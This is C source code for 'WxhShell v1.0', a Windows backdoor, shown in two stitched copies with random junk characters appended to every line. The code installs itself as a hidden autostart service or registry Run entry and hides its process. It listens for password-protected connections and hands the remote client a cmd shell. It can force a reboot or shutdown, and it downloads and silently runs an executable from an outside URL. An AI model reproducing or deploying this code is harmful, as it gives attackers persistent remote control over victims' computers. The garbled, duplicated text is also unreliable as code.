    if(Boot(SHUTDOWN)) AGlBvRX7e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G@]3EP  
    else { ^HKXm#vAB  
    closesocket(wsh); oaIk1U;g  
    ExitThread(0); ~k"+5bHa*  
    } '6so(>|  
    break; t R^f]+Up  
    } LrB 0x>  
  // 获取shell x~5uc$  
  case 's': { R~vGaxZ$  
    CmdShell(wsh); ~Amq1KU*Z  
    closesocket(wsh); BoD{fg  
    ExitThread(0); 2HX/@ERhmu  
    break; -l^<[%  
  } j*{0<hZb}  
  // 退出 !~ox;I}S  
  case 'x': { >3 o4 U2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6(n0{A  
    CloseIt(wsh); djd/QAfSC  
    break; )U/jD  
    } R9J!}az'  
  // 离开 J9^NHU  
  case 'q': { #Hw|P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?CpVA  
    closesocket(wsh); E C#0-,z  
    WSACleanup(); ;%e&6  
    exit(1); T{{:p\<]_  
    break; 6=iHw 24  
        } BWt`l,nF  
  } f ,F X# _4  
  } mZ)>^.N6  
}EK{UM9y  
  // 提示信息 f ULt4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '{&Q&3J_  
} RSX27fb4  
  } 2t= = <x  
Ge^`f<f  
  return; H 4<"+7  
} @N*|w Kc+  
TnrBHaxbo4  
// shell模块句柄 JEUU~L;  
int CmdShell(SOCKET sock) A5<t>6Y  
{ _CwTe=K}  
STARTUPINFO si; c=! >m  
ZeroMemory(&si,sizeof(si)); 9&+]YY CS-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K<S3gb?0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n`Q@<op  
PROCESS_INFORMATION ProcessInfo; <BR^Dv07U  
char cmdline[]="cmd"; ' zyw-1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |T:R.=R$~  
  return 0; 8$(I! ;  
} G m~ ./-  
`DM%a~^yg  
// 自身启动模式 sf*4|P}  
int StartFromService(void) Sd7jd?#9'  
{ !=0h*=NOYt  
typedef struct L\Se ,  
{ lY%I("2=  
  DWORD ExitStatus; N>mW64_H)  
  DWORD PebBaseAddress; .j}]J:{%  
  DWORD AffinityMask; ORM>|&  
  DWORD BasePriority; 7KC>?F  
  ULONG UniqueProcessId; HuhQ|~C+~  
  ULONG InheritedFromUniqueProcessId; \Y P,}_ ~  
}   PROCESS_BASIC_INFORMATION; E7Lqa S  
gV_v5sk  
PROCNTQSIP NtQueryInformationProcess; jn(x-fj6R  
c 1YDln  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "@Vyc6L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *22Vc2[i;  
qO6M5g:   
  HANDLE             hProcess; wgl<JO  
  PROCESS_BASIC_INFORMATION pbi; tv#oEM9esl  
kK &w5'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WzIUHNn'I  
  if(NULL == hInst ) return 0; IJ^~,+  
atL<mhRz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BP/nK.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p2vN=[g9)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J%"BCbxW~B  
0|&@)`  
  if (!NtQueryInformationProcess) return 0; @MSmg3 &  
C- .;m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F#Lo^ 8  
  if(!hProcess) return 0; br I;}m  
rA~f68h|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z?)g'n  
BJ|l  
  CloseHandle(hProcess); fU>l:BzJ K  
6bm7^e(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,#Z%0NLe  
if(hProcess==NULL) return 0; [LoQYDku  
|UTajEL  
HMODULE hMod; o1AbB?%=  
char procName[255]; l=DF)#>w  
unsigned long cbNeeded; *,\v|]fc  
IO)B3,g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9q'9i9/3d  
" U\RN  
  CloseHandle(hProcess); UtQj<18<  
<)7aNW.  
if(strstr(procName,"services")) return 1; // 以服务启动 b\P:a_vq  
q G%Y& P  
  return 0; // 注册表启动 )Q2IYCj{  
} U5Hi9fe  
]]j^  
// 主模块 yE}\4_0I/  
int StartWxhshell(LPSTR lpCmdLine) YR?Y:?(  
{ T$;S   
  SOCKET wsl; ';C'9k<P:  
BOOL val=TRUE; gk6f_0?X'  
  int port=0; 1!z{{H;W  
  struct sockaddr_in door; n`,  <g  
)vW'g3u_  
  if(wscfg.ws_autoins) Install(); *Fy6 -CC1  
"Zp&7hI  
port=atoi(lpCmdLine); 2e_ Di(us  
Qs1p  
if(port<=0) port=wscfg.ws_port; JK$3qUDnI  
u)oAQ<w  
  WSADATA data; J!:BCjRdw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  ?eS;Yc  
YBt=8`r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   64B.7S88  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kL8rqv^  
  door.sin_family = AF_INET; 9c@M(U@Yh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w;'XqpP$*|  
  door.sin_port = htons(port); ~?\U];l  
9$)&b\D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JL M Xkcc  
closesocket(wsl); =gVMt  
return 1; jQ{ @ol}n  
} 0'o[ 2,  
<h -)zI  
  if(listen(wsl,2) == INVALID_SOCKET) { ZJDV'mC}  
closesocket(wsl); Ema[M5$R  
return 1; qo [[P)tq  
} ^ 4`aONydl  
  Wxhshell(wsl); #W~jQ5NS\  
  WSACleanup(); sOhn@*X  
Qs1CK;+zU  
return 0; n0KpKH<&  
AjK5x@\  
} KA2>[x2  
8pnD6Lp>  
// 以NT服务方式启动 *w0!C:mL&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Skr (C5T  
{ r#zcl)rbU  
DWORD   status = 0; wAHuPQ&_Q  
  DWORD   specificError = 0xfffffff; nM[yBA  
I=!kPuw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @2E52$zu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )Cy>'l*Og7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hF'VqJS  
  serviceStatus.dwWin32ExitCode     = 0; u@Hz7Q} P  
  serviceStatus.dwServiceSpecificExitCode = 0; 5} %R  
  serviceStatus.dwCheckPoint       = 0; 5zK,(cF0-  
  serviceStatus.dwWaitHint       = 0; )LGVR 3#  
. 1kB8&}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OBWb0t5H?  
  if (hServiceStatusHandle==0) return; 'I,a 29  
Y(UK:LZ'  
status = GetLastError(); ,`f]mv l  
  if (status!=NO_ERROR) in>+D|q c  
{ , >7PG2 a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |]G%b[  
    serviceStatus.dwCheckPoint       = 0; <|r|s  
    serviceStatus.dwWaitHint       = 0;  }u8(7  
    serviceStatus.dwWin32ExitCode     = status; Ta\F~$M  
    serviceStatus.dwServiceSpecificExitCode = specificError; u8c@q'_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sr \y1nt  
    return; ;"M6}5dQ4  
  } ~vXbh(MX  
k A3K   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t oGiG|L  
  serviceStatus.dwCheckPoint       = 0; w[X-Q+7p(t  
  serviceStatus.dwWaitHint       = 0; rl}<&aPH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KKC%!Xy  
} F!z ^0+H(  
2E1`r@L  
// 处理NT服务事件,比如:启动、停止 f2e;N[D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r^5%0_F]  
{ 8i',~[  
switch(fdwControl) I8XP`Ccq  
{ qur2t8gnxq  
case SERVICE_CONTROL_STOP: lie,A  
  serviceStatus.dwWin32ExitCode = 0; ,zgz7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ch]d\GM  
  serviceStatus.dwCheckPoint   = 0; +zh\W9  
  serviceStatus.dwWaitHint     = 0; UVux[qX<  
  { lTC0kh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ao)';[%9s  
  } Gwk$<6E  
  return; ,8r?C!m]  
case SERVICE_CONTROL_PAUSE: ,IB\1#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DQGrXMpV0  
  break; FO*Gc Z  
case SERVICE_CONTROL_CONTINUE: }||u {[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e|oMbTZ5m  
  break; {D[6=\ F  
case SERVICE_CONTROL_INTERROGATE: k9%o{Uzy  
  break; t`B@01;8A  
}; 8&U Mmbgy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0si1:+t-[+  
} :\[l~S  
(RFH.iX  
// 标准应用程序主函数 NK qI x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4s 7 RB  
{ pg%(6dqK4  
,ayEZ#4.m  
// 获取操作系统版本 !=eNr<:V.  
OsIsNt=GetOsVer(); r#OPW7mhE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .e7tq\k  
i.^ytbH  
  // 从命令行安装 - VJx)g  
  if(strpbrk(lpCmdLine,"iI")) Install(); loIb}8  
a <C?- g|  
  // 下载执行文件 qb[hKp5K6  
if(wscfg.ws_downexe) { IL|Q-e}Ol  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Lf(( zk:pt  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3RaW\cWzg  
} ulxlh8=  
U;W9`JT<.f  
if(!OsIsNt) { nF'YG+;|@  
// 如果时win9x,隐藏进程并且设置为注册表启动 P!]uJ8bi  
HideProc(); _tHhS@   
StartWxhshell(lpCmdLine); Mz&/.A  
} l:'#pZ4T  
else 0!,uo\`  
  if(StartFromService()) / <)Vd  
  // 以服务方式启动 KRL.TLgq)  
  StartServiceCtrlDispatcher(DispatchTable); c:m=9>3  
else ?# w} S%  
  // 普通方式启动 &%rM|  
  StartWxhshell(lpCmdLine); l Xa/5QKC  
wF`Y ,@  
return 0; `h@fW- r  
} \96\!7$@O  
QdgJNT<=H,  
;mEn@@{  
4|K\pCw  
=========================================== UF7h{V})  
f|,Kh1{e  
{_N9<i{T  
wPM&N@Pf  
s)- ;74(  
wj6u,+  
" 5TJd9:\Af  
bY#BK_8 :  
#include <stdio.h> Dy.i^`7\  
#include <string.h> N" L&Z4Z  
#include <windows.h> ?=9'?K/~a  
#include <winsock2.h> 4`i8m  
#include <winsvc.h> )I&.6l!#  
#include <urlmon.h> ~)f^y!PMQ  
+vy fhw4  
#pragma comment (lib, "Ws2_32.lib") FGi7KV=N  
#pragma comment (lib, "urlmon.lib") U5kKT.M  
['o ueOg  
#define MAX_USER   100 // 最大客户端连接数 {3x>kRaKci  
#define BUF_SOCK   200 // sock buffer l L;5*@  
#define KEY_BUFF   255 // 输入 buffer Nbr$G=U  
4fs d5#  
#define REBOOT     0   // 重启 o,WjM[e  
#define SHUTDOWN   1   // 关机 9 " q-Bb  
hY.i`sp*/  
#define DEF_PORT   5000 // 监听端口 3q'AgiW  
Ysu\CZGX  
#define REG_LEN     16   // 注册表键长度 '$OUe {j<  
#define SVC_LEN     80   // NT服务名长度 ^Oi L&p;r  
fz^j3'!\  
// 从dll定义API $Wj= V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }T4|Kyu?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }PJsPIa3j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l\W|a'i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6 ]x?2P%  
.yy-jf/  
// wxhshell配置信息 ?C[?dg{n  
struct WSCFG { ]P3m=/w  
  int ws_port;         // 监听端口 12lX-~[["  
  char ws_passstr[REG_LEN]; // 口令 MoFM'a9  
  int ws_autoins;       // 安装标记, 1=yes 0=no (|BY<Ac3  
  char ws_regname[REG_LEN]; // 注册表键名 Ip'tB4Mq  
  char ws_svcname[REG_LEN]; // 服务名 E<\$3G-do  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bq ED5;d'#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nx'c=gp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O=3/ qs6m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \I!mzo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JVu j u$k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,*iA38d.!  
bq E'9GI  
}; }>h n  
nq{/fD(2  
// default Wxhshell configuration dO8 2T3T  
struct WSCFG wscfg={DEF_PORT, ^+76^*0  
    "xuhuanlingzhe", e>z"{ u(F0  
    1, :rL%,o"  
    "Wxhshell", l?*DGW(t{  
    "Wxhshell", %(6IaqJ[  
            "WxhShell Service", 2'@m'4-N  
    "Wrsky Windows CmdShell Service", #`u}#(  
    "Please Input Your Password: ", gko=5|c,@  
  1, $!_ X9)e  
  "http://www.wrsky.com/wxhshell.exe", 6&x\!+]F8  
  "Wxhshell.exe" ~`AB-0t.u  
    }; w~u{"E$  
8Nzn%0(Q  
// 消息定义模块 U:TkO=/>:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {T-\BTh&Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Qx4)'n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :gV~L3YW5  
char *msg_ws_ext="\n\rExit."; kumV|$Y?kA  
char *msg_ws_end="\n\rQuit."; FY'0?CT$  
char *msg_ws_boot="\n\rReboot..."; _<c"/B  
char *msg_ws_poff="\n\rShutdown..."; ARu_S B  
char *msg_ws_down="\n\rSave to "; s-IE}I?;  
ts~VO`  
char *msg_ws_err="\n\rErr!"; =R=V  
char *msg_ws_ok="\n\rOK!";  _BP%@o  
^f,4=-  
char ExeFile[MAX_PATH]; #tR:W?!  
int nUser = 0; 8Q Try%  
HANDLE handles[MAX_USER]; ~3:VM_  
int OsIsNt; 4 "2%mx:  
bX$z)]KKu  
SERVICE_STATUS       serviceStatus; WRD z*Zf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X_2N9$},  
)P(S:x'b0  
// 函数声明 v8-My1toV  
int Install(void); Q("m*eMRt  
int Uninstall(void); uU 7 <8G  
int DownloadFile(char *sURL, SOCKET wsh); WPRk>j  
int Boot(int flag); ;JkIZ8!  
void HideProc(void); h*VDd3[#  
int GetOsVer(void); P7-k!p"  
int Wxhshell(SOCKET wsl); BsFO]F5mmX  
void TalkWithClient(void *cs); "IU}>y>J  
int CmdShell(SOCKET sock); {P6Bfh7CZ  
int StartFromService(void); :Tpf8  
int StartWxhshell(LPSTR lpCmdLine); ]00s o`  
?V2P]|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ln# o:"E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L"'=[O~  
pX_  
// 数据结构和表定义 Dd1k?  
SERVICE_TABLE_ENTRY DispatchTable[] = :Vxt2@p{  
{ fDsT@W,K  
{wscfg.ws_svcname, NTServiceMain}, >2s6Y  
{NULL, NULL} :=B.)]F.)  
}; ^(TCUY~f&  
J920A^)j!  
// 自我安装 L~5f*LE$1  
int Install(void) 3g;Y  
{ pl>b 6 |  
  char svExeFile[MAX_PATH]; O H>.N"IG  
  HKEY key; 9^!.!%6O$  
  strcpy(svExeFile,ExeFile); 'b.jKkW7  
]ePg6  
// 如果是win9x系统,修改注册表设为自启动 N 8[r WJ#  
if(!OsIsNt) { X}Q4;='C-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sGY}(9ED;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (n kg  
  RegCloseKey(key); Tg^8a,Lt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K.yc[z)un  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -Hm"Dx  
  RegCloseKey(key); 2-'_Nwkl*  
  return 0; >IS4  
    } _-vlN  
  } ;:=j{,&dl[  
} 'yCVB&`b  
else { FC+-|1?C  
Ou1kSG|kM  
// 如果是NT以上系统,安装为系统服务 >c0leT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d9JAt-6z2  
if (schSCManager!=0) RP2$(%  
{ O.FTToh<  
  SC_HANDLE schService = CreateService g ba1R  
  ( _t-6m2A  
  schSCManager, 3YLK?X8  
  wscfg.ws_svcname, h1q 3}-  
  wscfg.ws_svcdisp, #v(As) 4^  
  SERVICE_ALL_ACCESS, -F/)-s6#!'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FZgf"XM>  
  SERVICE_AUTO_START, _i ztQ78  
  SERVICE_ERROR_NORMAL, L&+k`b  
  svExeFile, 0i}.l\  
  NULL, eM!Oc$C8[  
  NULL, e5AsX.kv B  
  NULL, 0dwD ?GG2  
  NULL, J ?{sTj"KB  
  NULL 9 5!xJdq  
  ); 2`Bb9&ut>  
  if (schService!=0) ,$!fyi[;C  
  { =A5i84y.2u  
  CloseServiceHandle(schService); gA=Pz[i)p  
  CloseServiceHandle(schSCManager); $z OV*O2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h*^JFZb  
  strcat(svExeFile,wscfg.ws_svcname); ]A[}:E 5}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M+")*Opq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ozsd6&z5l  
  RegCloseKey(key); r } Wdj  
  return 0; `}t5`:#k  
    } "zw{m+7f,  
  } ]iTP5~8U  
  CloseServiceHandle(schSCManager); O)^F z:  
} kR1 12J9P  
} gIweL{Pc  
.?#Q(eLj  
return 1; @B0fRG y  
} L__{U_p  
~Q"qz<WO  
// 自我卸载 ?4%#myO3a  
int Uninstall(void) T=w0T-[f  
{ lre(]oBXA  
  HKEY key; \=RV?mI3?  
_H U>T  
if(!OsIsNt) { V9ZM4.,OCN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6 [bQ'Ir^8  
  RegDeleteValue(key,wscfg.ws_regname); i= ^6nwD&  
  RegCloseKey(key); _ l)3pm6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &iD&C>;pf  
  RegDeleteValue(key,wscfg.ws_regname); (Qw>P42J  
  RegCloseKey(key); ,I|^d.[2  
  return 0; lw8t#_P  
  } Jm=3 %H  
} @=g{4(zR ^  
} .`KzA]&#  
else { %a8e_  
SIM> Lz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &9gI?b8  
if (schSCManager!=0) KY2z)#/  
{ cC9Zc#aK  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <bJ|WS|  
  if (schService!=0) "WY5Pzsi:  
  { A~{vja0?  
  if(DeleteService(schService)!=0) { vx$DKQK@l\  
  CloseServiceHandle(schService); k0FAI0~(  
  CloseServiceHandle(schSCManager); E}zGY2Xx  
  return 0; ]/p>p3@1C  
  } uYO$gRem  
  CloseServiceHandle(schService); -m ,Y6  
  } I<W<;A  
  CloseServiceHandle(schSCManager); kN*I_#  
} tw 3zw`o:  
} owa&HW/_  
uu-M7>+  
return 1; 0WZd$  
} bWp)'mx5u  
(3K,f4S@  
// 从指定url下载文件 /^K-tz-R  
int DownloadFile(char *sURL, SOCKET wsh) eF0FQlMe[  
{ xA;)02   
  HRESULT hr; cAx$W6S  
char seps[]= "/"; ,ZYPffu<*  
char *token; }]1C=~lC  
char *file; `)8S Ix  
char myURL[MAX_PATH]; |BtFT  
char myFILE[MAX_PATH]; F1}d@^K 7d  
o]]tH  
strcpy(myURL,sURL); m+dQBsz\  
  token=strtok(myURL,seps); g^:`h VV  
  while(token!=NULL) oG hMO  
  { s,mt%^x[  
    file=token; T#e|{ZCbq  
  token=strtok(NULL,seps); N3Q .4? z9  
  } Z>/ *q2  
W3('1  
GetCurrentDirectory(MAX_PATH,myFILE); ]T40VGJ:h  
strcat(myFILE, "\\"); o*~=NoR  
strcat(myFILE, file); O<AGAD  
  send(wsh,myFILE,strlen(myFILE),0); o=zl{tZV  
send(wsh,"...",3,0); wqjR-$c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qs8^qn0A  
  if(hr==S_OK) ^\S~rW.3_  
return 0; ~4#D G^5  
else M`iE'x  
return 1; Q`O~f<a  
bO('y@)X  
} );S8`V  
b"Nd8f[  
// 系统电源模块 `.~*pT*u  
int Boot(int flag) zDm3 $P=  
{ 9 %Vy,  
  HANDLE hToken; %<|<%~l&  
  TOKEN_PRIVILEGES tkp; !u:;Ew  
'19?  
  if(OsIsNt) { ([SJ6ff]&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vwAhNw2-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2/F8kVx{  
    tkp.PrivilegeCount = 1;  Ew;AYZX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `Um-Y'KE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9[ &q C  
if(flag==REBOOT) { 6\UIp#X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t8lGC R  
  return 0; Q 4L7{^[X  
} "fN 6_*  
else { PgP\v-.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1=X1<@*  
  return 0; qx0F*EH|  
} A[F@rUZp  
  } z X+i2,  
  else { g^#,!e  
if(flag==REBOOT) { =RM]/O9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IQ$6}.  
  return 0; LF{8hC[  
} m}beT~FT_  
else { ^mut-@ N9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !F Zg' 9  
  return 0; C0^r]^$Z  
} F[B=sI  
} W%MS,zkAE  
+T,0,^ *  
return 1; Xe\v6gbD  
} $&jVEMia  
<|E*aR|M  
// win9x进程隐藏模块 k O.iJcZg  
void HideProc(void) f"4w@X2F  
{ #g2&x sU  
xlsAct:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I2) 2'j,B  
  if ( hKernel != NULL ) "d0D8B7HI@  
  { |WT]s B0Eq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c:B` <  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I,Jb_)H&t  
    FreeLibrary(hKernel); +'VYqu/  
  } On[yL$?  
JZ> (h  
return; w)R5@ @C*  
} s._,IW;   
j(>xP*il  
// 获取操作系统版本 ZP0D)@8  
int GetOsVer(void) ^8dCFw.rU  
{ ]1[:fQF7/L  
  OSVERSIONINFO winfo; V8pZr+AJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /z}b1m+  
  GetVersionEx(&winfo); @ W,<8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `Hu2a]e9  
  return 1; :/"5x  
  else d+ [2Sm(7  
  return 0; 5Z:qU{[  
} 0xeY0!ux  
d*U<Ww^q  
// 客户端句柄模块 Ue>{n{H"y  
int Wxhshell(SOCKET wsl) gC_KT,=H;  
{ N&$ ,uhmO  
  SOCKET wsh; U?5G%o(q  
  struct sockaddr_in client; :FmH=pI!=  
  DWORD myID; .F$cR^i5u  
bFH`wL W  
  while(nUser<MAX_USER) \#N?  
{ -I;\9r+  
  int nSize=sizeof(client); f)r6F JLU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rJRg4Rog  
  if(wsh==INVALID_SOCKET) return 1; ##alzC  
/?S^#q>m%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xm=$D6O:  
if(handles[nUser]==0) V&Rwj_Y  
  closesocket(wsh); `z7,HJ.0c  
else _~F 0i?  
  nUser++; O{U j  
  } `'pAiu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @a 7U0$,O#  
Y|tK19  
  return 0; 5;HCNwX  
} $Fy >N>,E(  
^oW{N  
// 关闭 socket zW)Wt.svP  
void CloseIt(SOCKET wsh) BP\6N%HC%&  
{ _w'_l>I  
closesocket(wsh); !*?9n ^PaF  
nUser--; @tJic|)x  
ExitThread(0); vF[ 4kDHk  
} 8f65;lyN  
OF-VVIS  
// 客户端请求句柄 y3PrLBTz  
void TalkWithClient(void *cs) {9^p3Q+:P  
{ q)AX*T+  
B^d di  
  SOCKET wsh=(SOCKET)cs; A<(DYd1H  
  char pwd[SVC_LEN]; Ea-U+7JC  
  char cmd[KEY_BUFF]; Qam48XZ >  
char chr[1]; H4sc7-  
int i,j; +!$`0v   
}WBHuVcZG  
  while (nUser < MAX_USER) { ~_g{P3  
@S>;t)\J  
if(wscfg.ws_passstr) { Ap4.c8f?Q-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $~%h4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )%lPKp4]  
  //ZeroMemory(pwd,KEY_BUFF); {2i8]Sp1d/  
      i=0; 33&\E- Q>  
  while(i<SVC_LEN) { <vD(,||  
n.C5w8f  
  // 设置超时 H/={RuU  
  fd_set FdRead; kJNwA8 7  
  struct timeval TimeOut; h@y>QhYU0  
  FD_ZERO(&FdRead); hr hj4  
  FD_SET(wsh,&FdRead); 8Kk41=  
  TimeOut.tv_sec=8; m^,VEV>  
  TimeOut.tv_usec=0; TZ!@IBu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S_ ;r!.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8lA,3'z  
@g]EY&Uzl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @YG-LEh  
  pwd=chr[0]; h ^s8LE3  
  if(chr[0]==0xd || chr[0]==0xa) { JO90TP $  
  pwd=0; k1s5cg=n(  
  break; >Q?8tGfB  
  } :M<] 6o  
  i++; [9#zE URS  
    } ZE~zs~z|  
GQQp(%T  
  // 如果是非法用户,关闭 socket 1EWZA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A r>BL2@  
} =q`T|9v  
Gzg3{fXl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .0~uM!3y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i$<")q  
ou<,c?nNM  
while(1) { >mG64N  
a;M{ -G  
  ZeroMemory(cmd,KEY_BUFF); Fop +xR,Z  
,LxkdV  
      // 自动支持客户端 telnet标准   TU*EtE'g/  
  j=0; bX` Gv+  
  while(j<KEY_BUFF) { /SQ/$`1{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KC9e{  
  cmd[j]=chr[0]; ?)(-_N&T  
  if(chr[0]==0xa || chr[0]==0xd) { #N'9 w .  
  cmd[j]=0; .aVtd [  
  break; 3d olrW  
  } Re %dNxJ=  
  j++; U~;tk@  
    } +lhCF*@*N  
%H2ios[UO  
  // 下载文件 o P;6i  
  if(strstr(cmd,"http://")) { &g1\0t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a60rJ#GD  
  if(DownloadFile(cmd,wsh)) Mw)6,O`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cUdS{K&K  
  else J_m@YkK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ ]#WC\Hv  
  } ;gD\JA  
